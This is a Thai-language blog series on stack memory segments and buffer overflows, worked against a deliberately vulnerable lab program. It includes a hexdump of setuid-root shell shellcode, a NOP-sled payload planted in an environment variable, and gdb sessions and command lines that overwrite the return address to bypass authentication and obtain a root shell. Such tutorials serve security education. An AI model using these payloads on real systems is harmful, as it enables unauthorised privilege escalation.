Saturday, July 21, 2012

0x101 เซกเมนต์หน่วยความจำ

    หน่วยความจำที่เก็บโค้ดคำสั่งและตัวแปรต่างๆ ของโปรแกรมที่ผ่านการคอมไฟล์แล้วจะได้รับการแบ่งออกเป็น 5 เซกเมนต์ ได้แก่ Text, Data, Bss, Heap และ Stack โดยคำว่าเซกเมนต์นั้นถือได้ว่าเป็นคำที่ใช้เรียกพื้นที่หน่วยความจำ ที่ถูกจัดสรรไว้เพื่อจุดประสงค์เฉพาะบางอย่าง

    เซกเมนต์ที่เป็น เท็กซ์ (Text Segment) นั้นบางครั้งถูกเรียกว่าเป็น Code Segment ด้วยเซกเมนต์นี้ทำหน้าที่เก็บโค้ดคำสั่งภาษาเครื่องที่ได้มาจากการคอมไพล์โปรแกรม การเอ็กซีคิวโค้ดคำสั่งต่างๆ ภายใต้เซกเมนต์นี้อาจไม่จำเป็นต้องเรียงลำดับไปเรื่อยๆ เนื่องด้วยโครงสร้างการควบคุมและคำสั่งต่างๆ ซึ่งเมื่อผ่านการคอมไพล์แล้ว ก็จะถูกแบ่งเป็นการแยกไปทำตามคำสั่ง(branch)การกระโดดไปแล้วการเรียกใช้คำสั่งอื่นๆขณะที่โปรแกรมเอ็กซีคิวต์ EIP ได้ถูกเซตให้ชี้ไปยังคำสั่งแรกในเท็กซ์เซกเมนต์ จากนั้นโปรเซสเซอร์จะเอ็กซีคิวต์โค้ดคำสั่งต่างๆ เป็นวงรอบซ้ำๆไปเรื่อยๆตามขั้นตอนต่อไปนี้

  1. อ่านคำสั่งที่รีจิสเตอร์ EIP กำลังชี้ไป
  2. เช็คดูว่าคำสั่งนั้นใช้พื้นที่ขนาดที่ไบต์ ก็ให้บวกค่าไบต์นั้นไปใช้ในรีจิสเตอร์ EIP
  3. เอ็กซีคิวต์คำสั่งที่อ่านได้จากตำแหน่งแอดเดรสหน่วยความจำที่รีจิสเตอร์ EIP ชี้ไปซึ่งได้จากขั้นตอนที่ 1
  4. กลับไปยังขั้นตอนที่ 1

    บางครั้ง คำสั่งอาจเป็นคำสั่ง jump หรือ call ซึี่งส่งผลให้มีการเปลี่ยนแปลงรีจิสเตอร์ EIP ไปยังตำแหน่งแอดเดรสใหม่ในหน่วยความจำ โปรเซสเซอร์เองก็จะไม่ได้กังวลอะไรกับการเปลี่ยนแปลงนี้เพราะมันคาดหวังอยู่แล้วว่า การเอ็กซีคิวต์โค้ดคำสั่งอาจไม่เป็นไปตามลำดับก็ได้ถ้ารีจิสเตอร์ EIP ถูกแก้ไขในข้อ 3 โปรเซสเซอร์จะย้อนกลับไปยังขั้นที่ 1 และอ่านโค้ดคำสั่งที่พบในแอดเดรสหน่วยความจำตามตำแหน่งใดก็แล้วแต่ที่รีจิสเตอร์ EIP ถูกแก้ไขให้ชี้ไป

    สิทธิ็ในการเขียนได้ถูก disable ไว้ในเท็กเซกเมนต์ เนื่องจากมันไม่ได้ถูกใช้เพื่อการเก็บตัวแปร มันเก็บเฉพาะโค้ดคำสั่งเท่านั้น ทั้งนี้เพื่อป้องกันไม่ให้ใครก็ตามมาแก้ไขโค้ดของโปรแกรมได้ ความพยายามที่จะแก้ไขเซกเมนต์ส่วนนี้ จะทำให้โปรแกรมต้องแจ้งเตือนให้กับผู้ใช้ได้ทราบว่ามีบางสิ่งไม่ได้กำลังเกิดขึ้น และโปรแกรมจะต้องถูกหยุดการทำงาน ประโยชน์อีกข้อหนึ่งของการที่เท็กซ์เซกเมนต์นี้เป็นแบบอ่านได้อ่ย่างเดียวเท่านี้นก็คือ มันสามารถถูกแชร์กันระหว่างหลายๆโปรแกรมได้ เพื่อเปิดโอกาสให้มีการเอ็กซีคิวต์หลายโปรแกรมได้ในขณะเดียวกันโดยปราศจากปัญหาใดๆ เรายังควรสังเกตไว้ด้วยว่าเท็กซ์เซกเมนต์นี้มีขนาดที่คงที่

    ดาต้าเซกเมนต์ (Data Segment) และบีเอสเอสเซกเมนต์ (Bss Segment) ถูกใช้เพื่อเก็บตัวแปรแบบโกลบอลและแบบสแตติก โดยดาต้าเซกเมนต์จะเก็บตัวแปรแบบโกลบอลและสแตติกที่ผ่านการเซตค่าเริ่มต้น(initialize)แล้ว ในขณะที่บีเอสเอสเซกเมนต์จะเก็บตัวแปรอื่นๆที่เหลือที่ยังไม่ได้ผ่านการเซตค่าเริ่มต้นถึงแม้เซกเมนต์เหล่านี้จะไม่สามารถถูกเขียนได้แต่มันก็มีขนาดที่คงที่ ให้จำไว้ว่าตัวแปรแบบโกลบอลและสแตติกนั้นจะถาวรตลอด ไม่ว่าอยู่ภายใต้ขอบเขตของฟังก์ชั่นไหนก็ตาม เพราะพวกมันถูกเก็บในพื้นที่หน่วยความจะเฉพาะตน

    ฮีปเซกเมนต์ (Heap Segment) นั้นเป็นเซกเมนต์ของหน่วยความจำที่โปรแกรมเมอร์สามารถควบคุมได้โดยตรง สามารถถูกจัดสรรและถูกเพื่อใช้เพื่อการใดๆก็ได้ที่โปรแกรมเมอร์ต้องการ หนึ่งในจุดเด่นข้อฮีปเซกเมนต์ก็คือ มันมีขนาดไม่คงที่ เพื่อที่จะได้สามารถขยายขนาดขึ้น หรือลดขนาดลงได้ตามความจำเป็น โปรแกรมเมอร์ที่ใช้ฟังก์ชั้นในการจัดสรรฮีปสามารถจอง และยกเลิกหน่วยความจำว่างๆ ได้ขณะการทำงานจริง พื้นที่ของฮีปเซกเมนต์จะเพิ่มขยายขึ้นจากแอดเดรสหน่วยความจำต่ำ ไปยังแอดเดรสหน่วยความจำที่สูงขึ้นเรื่อยๆ

    สแต็กเซกเมนต์ (Stack Segment) นั้นมีขนาดที่แปรเปลียนได้ และถูกใช้เป็นพื้นที่ชั่วคราวสำหรับจำเก็บตัวแปรแบบโลคอลของฟังก์ชั่นนั้นๆ และในระหว่างการเรียกใช้ฟังก์ชั้นอื่นๆ นี่คือสิ่งที่คำสั่ง backtrace ของ GDB เข้าไปสำรวจได้ เมื่อโปรแกรมเรียกฟังก์ชั่น ฟังก์ชั่นนั้นๆก็จะมีเซตของตัวแปรที่ถูกส่งผ่านมาจากโปรแกรมเป็นของตนเอง และโค้ดคำสั่งฟังก์ชั่นนั้นจะอยู่ในตำแหน่งหน่วยความจำที่แตกต่างกัน ในพื้นที่ของเท็กซ์เซกเมนต์ เนื่องจากขอบเขตของการรันโค้ดและรีจิสเตอร์ EIP จำเป็นต้องถูกเปลี่ยนไปเมื่อมีการเรียกใช้ฟังก์ชั่นเกิดขึ้น สแต็กจะเข้ามาช่วยในการจำค่าของตัวแปรที่ถูกส่งผ่านเข้ามา ส่วนข้อมูลที่เก็บอยู่ในรีจิสเตอร์ EIP ก็จะเก็บแอดเดรสของหน่วยความจำล่าสุดที่หลังจากรันฟังก์ชั่นนั้นๆ เสร็จแล้ว โปรแกรมจะต้องหวนกลับมาเอ็กซีคิวที่แอดเดรสตำแหน่งดังกล่าวนี้ต่อไป ข้อมูลทั้งหมดที่ถูกเก็บไว้ในสแต็กในแต่ละครั้งของการไปเรียกใช้ฟังก์ชั่นอื่นนี้เรียกว่า stack frame โดยในพื้นที่สแต็กเซกเมนต์จะประกอบด้วยหลายๆ stack frame

Refference: segment_wiki

0x204 ครั้งสุดท้ายของ auth_overflow

    ในการทดลองครั้งนี้เราจะกลับไปใช้ auth_overflow.c อีกครั้ง วัตถุประสงค์ของการ Exploit ครั้งนี้ก็คือการได้เข้าไปใช้งาน shell ในสิทธิ์ root อาจจะมีการใช้เทคนิคต่างๆเข้ามาช่วยในการทดลองนี้ แต่มันไม่ใช่เรื่องยากเท่าไร่นักสำหรับผู้ที่คุ้นเคยกับ Linux เป็นอย่างดี หนึ่งในเทคนิคที่ใช้คือ shellcode ที่จะค่อยทำการเซต suid ให้เป็น root (shellcode มีหลายรูปแบบมีเวลาจะมาเล่าให้ฟัง) นี้คือหน้าตา shellcode ของเรา
root@bt:~/Hacking# hexdump -C shellcode.bin 
00000000  31 c0 31 db 31 c9 99 b0  a4 cd 80 6a 0b 58 51 68  |1.1.1......j.XQh|
00000010  2f 2f 73 68 68 2f 62 69  6e 89 e3 51 89 e2 53 89  |//shh/bin..Q..S.|
00000020  e1 cd 80                                          |...|
00000023
root@bt:~/Hacking# wc -c shellcode.bin 
35 shellcode.bin
ในเมื่อ shellcode ของเราพร้อมแล้วเราก็ไปสำรวจเจ้า auth_overflow.c อีกครั้งแน่นอนเรารู้จากบทความก่อนๆ แล้วว่าช่องโหว่ที่ทำให้เกิด buffer overflow นั้นอยู่ที่ตัวแปร password_buffer[16] ถึงแม้มันจะมีช่องโหว่(Vulnerability) แต่นั้นมันก็เป็นบัฟเฟอร์ที่น้อยเกินไปสำหรับ shellcode ของเราอาจจะทำให้เกิด Segmentation fault. ก็เป็นได้ ดังนั้นทางเลือกสำหรับการแก้ปัญหาครั้งนี้ก็คือ สภาวะแวดล้อม(env) (ไม่รู้จะแปรยังไง ==?) ถึงแม้บัฟเฟอร์จะมีขนาดเล็กเกินไปสำหรับเชลล์โค้ด แต่ยังโชคดีที่ยังมีตำแหน่งอื่นในหน่วยความจำที่สามารถซุกซ่อนเชลล์โค้ดได้ ตัวแปรสภาวะแวดล้อมเป็นสิ่งที่ผู้ใช้เชลล์สามารถนำมาประยุกต์ให้ได้หลายอย่าง สิ่งที่สำคัญคือ ตัวแปรเชลล์ดังกล่าวจะถูกเก็บไว้ในพื้นที่ของสแต็กและสารารถเชตค่าได้จากคำสั่งในเชลล์
root@bt:~/Hacking# export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin)
root@bt:~/Hacking# echo $SHELLCODE
��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1�1ə��̀j
                                                 XQh//shh/bin��Q��S��̀
root@bt:~/Hacking# env |grep SHELLCODE
SHELLCODE=��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������1�1�1ə��̀j
                                                           XQh//shh/bin��Q��S��̀

ในที่สุดเชลล์โค้ดของเราก็ได้ถูกจัดเก็บอยู่บนสแต็ก โดยอยู่ในตัวแปรสภาวะแวดล้อมพร้อมๆกับ NOP Sled 200 ไบต์

NOP Sled ?
    NOP เป็นคำสั่งจากภาษาแอสเซมบลีที่ย่อยมาจาก no operation มันเป็นคำสั่งหนึ่งไบต์ที่แท้จริงแล้วมันไม่ได้ทำอะไรเลย คำสั้ง NOP กำลังจะถูกนำมาใช้ในจุดประสงค์ที่ต่างกันเพื่อเสริมเทคนิคการแฮกของเรา เรากำลังจะสร้างอาร์เรย์ขนาดใหญ่(หรือเรียกว่า sled) ของคำสั่ง NOP เหล่านี้มันจะว่างไว้ข้างหน้าก่อนถึงเชลล์โค้ด จากนั้นรีจิตเตอร์ EIP ชี้ไปยังแอดเดรสใดๆ ที่พบใน NOP Sled มันจะเพิ่มค่าของมันไปเรื่อยๆ ขณะที่กำลังเอ็กซีคิวต์แต่ละคำสั่ง NOP จนไปถึงเชลล์โค้ด นี้ก็หมายความว่าเราได้เพิ่มความมันใจว่าเชลล์โค้ดของเราจะถึงเอ็กซีีคิวต์แน่นอน

.-----------------.-------------------.-------------------------. | NOP Sled | Shellcode | Repeated return address | `-----------------`-------------------`-------------------------`

ดังนั้นเพียงแค่เราค้นหาแอดเดรสซักที่หนึ่งที่อยู่ในช่วง Sled เพื่อเขียนทับรีเทิร์นแอดเดรสที่ถูงเซฟไว้เช่นเดียวกันเทคนิค 0x203 authoverflow เราไปเริ่มต้นหาแอดเดรสที่เราต้องการกันเลย
root@bt:~/Hacking# gdb -q ./auth_overflow
Reading symbols from /root/Hacking/auth_overflow...done.
(gdb) b main
Breakpoint 1 at 0x80484fa: file auth_overflow.c, line 20.
(gdb) r
Starting program: /root/Hacking/auth_overflow 

Breakpoint 1, main (argc=1, argv=0xbffff4e4) at auth_overflow.c:20
20		if(argc < 2) {
(gdb) i r esp
esp            0xbffff430	0xbffff430
(gdb) i f
Stack level 0, frame at 0xbffff440:
 eip = 0x80484fa in main (auth_overflow.c:20); saved eip 0xb7e8abd6
 source language c.
 Arglist at 0xbffff438, args: argc=1, argv=0xbffff4e4
 Locals at 0xbffff438, Previous frame sp is 0xbffff440
 Saved registers:
  ebp at 0xbffff438, eip at 0xbffff43c
(gdb) x/24s $esp + 0x240
0xbffff670:	 "-root"
0xbffff676:	 "SSH_AGENT_PID=1361"
0xbffff689:	 "SHELLCODE=\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220"...
0xbffff751:	 "\220\220\220\220\220\220\220\220\220\220\061\300\061\333\061ə\260\244̀j\vXQh//shh/bin\211\343Q\211\342S\211\341̀"
0xbffff77f:	 "SHELL=/bin/bash"
0xbffff78f:	 "TERM=xterm"
0xbffff79a:	 "XDG_SESSION_COOKIE=9d7a172b7c0b978fc8866b514f81bfe9-1342854609.404684-934744129"
0xbffff7ea:	 "HUSHLOGIN=FALSE"
0xbffff7fa:	 "WINDOWID=46137347"
0xbffff80c:	 "GNOME_KEYRING_CONTROL=/tmp/keyring-7znX2n"
0xbffff836:	 "GTK_MODULES=canberra-gtk-module"
0xbffff856:	 "USER=root"
(gdb) x/s 0xbffff689 + 100
0xbffff6ed:	 "\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\061\300\061\333\061ə\260\244̀j\vXQh//shh/bin\211\343Q\211\342S\211\341̀"
(gdb) 
ดีบั๊กเกอร์ได้เปิดเผยให้ทราบถึงตำแหน่งที่เก็บเชลล์โค้ด ซึ่งได้แสดงในตัวหนาในเอาพุตข้างต้น ดีบั็กเกอร์ยังมีข้อมูลบางอย่างอยู่บนสแต็ก ชึ่งจะเป็นการเลื่อนแอดเดรสไปหนึ่งบิต แต่ด้วย NOP sled ขนาด 200 ไบต์ ความคลาดเคลื่อนเหล่านี้ไม่ได้เป็นอุปสรรค ถ้าแอดเดรสอยู่กึ่งกลางของ sled นั้นคือ 0xbffff6ed หลังจากค้นหาแอดเดรสที่เก็บเชลล์โค้ดที่จะนำไปอัดฉีดได้แล้ว ก็จะเหลือการ Exploit เพียงแค่การเขียนทับรีเทิร์นแอดเดรสด้วยแอดเดรสที่เก็บเชลล์โค้ดดังกล่าวเท่านั้นเอง
root@bt:~/Hacking# ./auth_overflow $(perl -e 'print "\xed\xf6\xff\xbf"x10')
sh-4.1# id
uid=0(root) gid=0(root) groups=0(root)
sh-4.1# whoami
root
sh-4.1# 
เพียงเทานี้เราก็ได้สิทธิ์ root มาเป็นของเราส่วนจะทำอะไรต่อนั้นก็ขึ้นอยู่กับ ...

Monday, May 14, 2012

0x203 เล่นกับ auth_overflow อีกครั้ง

เมื่อครั้งทีแล้วเราได้เห็นถึง ช่องโหว่บัฟเฟอร์โอเวอร์โฟลว์บนหน่วยความจำในสแต็ก ด้วยโปรแกรมง่าย auth_overflow.c ที่มีช่องโหว่อยู่ตรง if statement แต่มันสามารถถูกแก้ไขได้ด้วยวิธีง่ายๆ
root@bt:~/hacking# diff auth_overflow.c auth_overflow2.c 
24c24
<  if(check_authentication(argv[1])) {
---
>  if(check_authentication(argv[1]) == 1) {


จากครั้งที่แล้วฟังก์ชั่น check_authentication() ถ้าค่าที่รีเทิร์นกลับมาเป็นเลขจำนวนเต็มใดๆ ที่ไม่เท่ากัน 0 ภาษาซีถือว่าเป็นจริง(true) ดั่งนั้นเพื่อให้มันใจได้ว่าค่าที่รีเทิร์นกลับมามีค่าเท่ากับ 1 จึงต้องได้รับการแก้ไข
root@bt:~/Code/c/hacking# ./auth_overflow AAAAAAAAAAAAAAAAAA

-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
root@bt:~/Code/c/hacking# ./auth_overflow2 AAAAAAAAAAAAAAAAAA

Access Denied.
root@bt:~/Code/c/hacking# ./auth_overflow2 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
root@bt:~/Code/c/hacking#

ผลจากการเปลี่ยนแปลงใน if statement ทำให้เราไม่สามารถใช้วิธีแบบเดิมได้อีกแล้ว แต่นี้ก็เป็นเรื่องที่ดีที่โปรแกรมสามารถทำงานได้ตามที่โปรแกรมเมอร์ต้องการ เอ๊!! แล้วจะทำยังไงดีหล่ะคราวนี้ โชคดีที่เราลองมั่วไปแล้วมันเกิด Segmentation fault ... แล้วมันคืออะไร ความจริงแล้วเราไม่สามารถจะคาดการณ์อะไรกันมันได้เลย แต่มันจะต้องล้นไปทับส่วนที่สำคัญอย่างแน่นอน ลองไปดูการโฟลว์การทำงานในดีบั๊กเกอร์ดีกว่า
oot@bt:~/Code/c/hacking# gdb -q ./auth_overflow2
Reading symbols from /root/Code/c/hacking/auth_overflow2...done.
(gdb) list 1
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4 
5 int check_authentication(char *password) {
6  char password_buffer[16];
7  int auth_flag = 0;
8 
9  strcpy(password_buffer, password);
10  
(gdb) 
11  if(strcmp(password_buffer, "nopX90") == 0)
12   auth_flag = 1;
13  if(strcmp(password_buffer, "naruedol") == 0)
14   auth_flag = 1;
15 
16  return auth_flag;
17 }
18 
19 int main(int argc, char *argv[]) {
20  if(argc < 2) {
(gdb) 
21   printf("Usage: %s <password>\n", argv[0]);
22   exit(0);
23  }
24  if(check_authentication(argv[1]) == 1) {
25   printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
26   printf("      Access Granted.\n");
27   printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
28  } else {
29   printf("\nAccess Denied.\n");
30    }
(gdb) 
31 }
32  
(gdb) b 24
Breakpoint 1 at 0x8048522: file auth_overflow2.c, line 24.
(gdb) b 9
Breakpoint 2 at 0x80484a1: file auth_overflow2.c, line 9.
(gdb) b 16
Breakpoint 3 at 0x80484ef: file auth_overflow2.c, line 16.
(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAA
Starting program: /root/Code/c/hacking/auth_overflow2 AAAAAAAAAAAAAAAAAAAAAAAAAAAA

Breakpoint 1, main (argc=2, argv=0xbffff5a4) at auth_overflow2.c:24
24  if(check_authentication(argv[1]) == 1) {
(gdb) i r eip esp ebp
eip            0x8048522 0x8048522 <main+46>
esp            0xbffff4f0 0xbffff4f0
ebp            0xbffff4f8 0xbffff4f8
(gdb) i f  #เรียกดู stack frame ใน main()
Stack level 0, frame at 0xbffff500:
 eip = 0x8048522 in main (auth_overflow2.c:24); saved eip 0xb7e8abd6
 source language c.
 Arglist at 0xbffff4f8, args: argc=2, argv=0xbffff5a4
 Locals at 0xbffff4f8, Previous frames sp is 0xbffff500
 Saved registers:
  ebp at 0xbffff4f8, eip at 0xbffff4fc
(gdb) x/32xw $esp
0xbffff4f0: 0x08048580 0x00000000 0xbffff578 0xb7e8abd6
0xbffff500: 0x00000002 0xbffff5a4 0xbffff5b0 0xb7fe1858
0xbffff510: 0xbffff560 0xffffffff 0xb7ffeff4 0x0804829c
0xbffff520: 0x00000001 0xbffff560 0xb7ff0626 0xb7fffab0
0xbffff530: 0xb7fe1b48 0xb7fc9ff4 0x00000000 0x00000000
0xbffff540: 0xbffff578 0x2636a37e 0x088b956e 0x00000000
0xbffff550: 0x00000000 0x00000000 0x00000002 0x080483e0
0xbffff560: 0x00000000 0xb7ff6230 0xb7e8aafb 0xb7ffeff4
(gdb) 

เบรกพอยต์อันแรกจะอยู่ก่อนหน้า check_authtication() ที่จุดนี้ สแต็กพอยต์เตอร์รีจีสเตอร์ (ESP) จะมีค่าเท่ากัน 0xbffff4f0 และเราได้เข้าไปดูส่วนข้างในของสแต็ก ซึ่งนี้ก็คือสแต็กเฟรมทั้งของฟังก์ชั่ง main()
(gdb) c
Continuing.

Breakpoint 2, check_authentication (password=0xbffff720 'A' <repeats 28 times>) at auth_overflow2.c:9
9  strcpy(password_buffer, password);
(gdb) i f  # stack frame ในฟังก์ชั่น check_authentication()
Stack level 0, frame at 0xbffff4f0:
 eip = 0x80484a1 in check_authentication (auth_overflow2.c:9); saved eip 0x8048532
 called by frame at 0xbffff500
 source language c.
 Arglist at 0xbffff4e8, args: password=0xbffff720 'A' <repeats 28 times>
 Locals at 0xbffff4e8, Previous frames sp is 0xbffff4f0
 Saved registers:
  ebp at 0xbffff4e8, eip at 0xbffff4ec #Address ในจะเก็บค่าที่รีเทิร์นกลับไป main()
(gdb) x/32xw $esp
0xbffff4cc: 0x08048599 0xb7fca324 0xb7fc9ff4 0x08048580
0xbffff4dc: 0xbffff4f8 0xb7ea34a5 0x00000000 0xbffff4f8
0xbffff4ec: *0x08048532 0xbffff720 0x00000000 0xbffff578
0xbffff4fc: 0xb7e8abd6 0x00000002 0xbffff5a4 0xbffff5b0
0xbffff50c: 0xb7fe1858 0xbffff560 0xffffffff 0xb7ffeff4
0xbffff51c: 0x0804829c 0x00000001 0xbffff560 0xb7ff0626
0xbffff52c: 0xb7fffab0 0xb7fe1b48 0xb7fc9ff4 0x00000000
0xbffff53c: 0x00000000 0xbffff578 0x5ed7afcb 0x706a99db
(gdb) x/x &password_buffer 
0xbffff4d4: 0xb7fc9ff4
(gdb) x/x &auth_flag 
0xbffff4e4: 0x00000000
(gdb) p 0xbffff4ec - 0xbffff4d4
$1 = 24
(gdb) p 24+4
$2 = 28  #ค่าที่ได้จากตัวแปร password_buffer ถึง save registers
(gdb) disass main
Dump of assembler code for function main:
   0x080484f4 <+0>: push   ebp
   0x080484f5 <+1>: mov    ebp,esp
   0x080484f7 <+3>: sub    esp,0x8
   0x080484fa <+6>: cmp    DWORD PTR [ebp+0x8],0x1
   0x080484fe <+10>: jg     0x8048522 <main+46>
   0x08048500 <+12>: mov    eax,DWORD PTR [ebp+0xc]
   0x08048503 <+15>: mov    edx,DWORD PTR [eax]
   0x08048505 <+17>: mov    eax,0x8048640
   0x0804850a <+22>: mov    DWORD PTR [esp+0x4],edx
   0x0804850e <+26>: mov    DWORD PTR [esp],eax
   0x08048511 <+29>: call   0x804839c <printf@plt>
   0x08048516 <+34>: mov    DWORD PTR [esp],0x0
   0x0804851d <+41>: call   0x80483cc <exit@plt>
   0x08048522 <+46>: mov    eax,DWORD PTR [ebp+0xc]
   0x08048525 <+49>: add    eax,0x4
   0x08048528 <+52>: mov    eax,DWORD PTR [eax]
   0x0804852a <+54>: mov    DWORD PTR [esp],eax
   0x0804852d <+57>: call   0x8048494 <check_authentication>
   *0x08048532 <+62>: cmp    eax,0x1
   0x08048535 <+65>: jne    0x804855d <main+105>
   0x08048537 <+67>: mov    DWORD PTR [esp],0x8048656
   0x0804853e <+74>: call   0x80483ac <puts@plt>
   0x08048543 <+79>: mov    DWORD PTR [esp],0x8048673
   0x0804854a <+86>: call   0x80483ac <puts@plt>
   0x0804854f <+91>: mov    DWORD PTR [esp],0x8048689
   0x08048556 <+98>: call   0x80483ac <puts@plt>
   0x0804855b <+103>: jmp    0x8048569 <main+117>
   0x0804855d <+105>: mov    DWORD PTR [esp],0x80486a5
   0x08048564 <+112>: call   0x80483ac <puts@plt>
   0x08048569 <+117>: leave  
   0x0804856a <+118>: ret    
End of assembler dump.

ทั้งหมดอาจดูสับสน แต่มันแค่เป็นการเข้าไปสำรวจสแต็กเฟรมของฟังก์ชั่น check_authentication() ทำให้เราได้บพบกับ Save register ที่ได้เก็บค่าต่างๆไว้ด้วย function prologue มันทำหน้าที่บันทึกเฟรมต่างไว้บนสแต็กนั้นและ รวมไปถึง (EIP) อยู่ที่ 0xbffff4ec และจะคอยคืนค่าให้กับ EIP หลังจบฟังก์ชั่น check_authentication() แล้วอะไรจะเกิดขึ้นถ้า save register eip ถูกเขียนทับ ? แน่นอนครับมันจะกระโดดไปเอ็กซิคิวต์ค่านั้น
(gdb) c
Continuing.

Breakpoint 3, check_authentication (password=0xbffff700 "t/Code/c/hacking/auth_overflow2") at auth_overflow2.c:16
16  return auth_flag;
(gdb) i f #เช็คสแต็กเฟรมอีกครั้ง
Stack level 0, frame at 0xbffff4f0:
 eip = 0x80484ef in check_authentication (auth_overflow2.c:16); saved eip 0x41414141
 called by frame at 0xbffff4f4
 source language c.
 Arglist at 0xbffff4e8, args: password=0xbffff700 "t/Code/c/hacking/auth_overflow2"
 Locals at 0xbffff4e8, Previous frames sp is 0xbffff4f0
 Saved registers:
  ebp at 0xbffff4e8, eip at 0xbffff4ec
(gdb) x/32xw $esp
0xbffff4cc: 0xbffff4d4 0x08048637 0x41414141 0x41414141
0xbffff4dc: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff4ec: 0x41414141 0xbffff700 0x00000000 0xbffff578
0xbffff4fc: 0xb7e8abd6 0x00000002 0xbffff5a4 0xbffff5b0
0xbffff50c: 0xb7fe1858 0xbffff560 0xffffffff 0xb7ffeff4
0xbffff51c: 0x0804829c 0x00000001 0xbffff560 0xb7ff0626
0xbffff52c: 0xb7fffab0 0xb7fe1b48 0xb7fc9ff4 0x00000000
0xbffff53c: 0x00000000 0xbffff578 0x5ed7afcb 0x706a99db
(gdb) x/x &password_buffer 
0xbffff4d4: 0x41414141
(gdb) x/x &auth_flag 
0xbffff4e4: 0x41414141
(gdb) x/x 0xbffff4ec 
0xbffff4ec: 0x41414141 #ค่าริเทิร์น address ได้ถูกเขียนทับแล้วด้วย 'A'
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) i f
Stack level 0, frame at 0xbffff4f4:
 eip = 0x41414141; saved eip 0xbffff700
 called by frame at 0x41414149
 Arglist at 0xbffff4ec, args: 
 Locals at 0xbffff4ec, Previous frames sp is 0xbffff4f4
 Saved registers:
  eip at 0xbffff4f0
(gdb) x/i $eip
=> 0x41414141: Cannot access memory at address 0x41414141
(gdb) c
Continuing.

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
(gdb) 

จาก gdb ทำให้เราได้เห็นถึงตัวการที่ทำให้เกิด Segmentation fault. เหตุการณ์แบบนี้เป็นเรื่องที่ไม่ดีเท่าไหร่บนเซฟเฟรมพอยน์เตอร์ ที่ถูกคอมไฟล์ด้วย -fomit-frame-pointer แล้วมันจะเกิดอะไรขึ้นถ้าคุณใช้มันอย่างชาญฉลาด
 
  #========: ละไว้มันยาว :========
   0x0804852d <+57>: call   0x8048494 <check_authentication>
   0x08048532 <+62>: cmp    eax,0x1
   0x08048535 <+65>: jne    0x804855d <main+105>
   0x08048537 <+67>: mov    DWORD PTR [esp],0x8048656
   0x0804853e <+74>: call   0x80483ac <puts@plt>
   0x08048543 <+79>: mov    DWORD PTR [esp],0x8048673
   0x0804854a <+86>: call   0x80483ac <puts@plt>
   0x0804854f <+91>: mov    DWORD PTR [esp],0x8048689
   0x08048556 <+98>: call   0x80483ac <puts@plt>
   0x0804855b <+103>: jmp    0x8048569 <main+117>
   0x0804855d <+105>: mov    DWORD PTR [esp],0x80486a5
   0x08048564 <+112>: call   0x80483ac <puts@plt>

ตัวหนังสือหนาเป็น address ที่เก็บคำสั่งที่ใช้แสดงคำว่า Access Granted. เริ่มต้นที่ 0x08048537 แล้วมันสำคัญยังไงหล่ะ ? แน่นอนครับถ้าเราสามารถนำมันไปว่าไว้บน save register eip ได้ก่อนที่มันจะรีเทิร์นค่าให้กลับ EIP แบบพอดี แล้วจากได้รับค่า รีเทิร์นแอดเดรสหลังจบฟังก์ชั่น check_authentication() step ต่อมา EIP จะต้องเอ็กซีคิวต์คำสั่งที่มันกำลังชี้อยู่ ใช่แล้วเรากำลังจะบังคับให้ EIP ชี้ไปยังตำแหน่งที่เราต้องการ
root@bt:~/hacking# ./auth_overflow2 $(perl -e 'print "\x37\x85\x04\x08"x10')

-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-

เย้ !!! ถึงแม้การทำให้ได้คำว่า Access Granted. อาจดูไม่มีประโยชน์เท่าไหร่ แต่เราได้เรียนรู้ถึงเทคนิคใหม่ๆ แน่นอนคับเทคนิคนี้สามรถสร้างประโยชน์ได้เยอะ ถ้าเราสามารถคุมโฟลว์การเอ็กซีคิวได้

Friday, May 11, 2012

0x202 ช่องโหว่บัฟเฟอร์โอเวอร์โฟลว์บนหน่วยความจำในสแต็ก

สแต็ก เป็นหนึ่งในห้าเซกเมนต์หน่วยความจำที่ถูกใช้โดยโปรแกรมต่างๆ สแต็กนั้นมีโครางสร้างแบบ FILO  เพื่อเก็บรักษาโฟลว์ขั้นตอนของการเอ็กซีคิวต์ และคอนเท็กซ์ของตัวแปรแบบโลคอลในระหว่างการเรียกให้ฟังก์ชั่นอื่น และจะได้สามารถรีเทิร์นการทำงานกลับ ณ จุดเดิมก่อนการเรียกใช้ฟังก์ชั่นใหม่นั้นได้

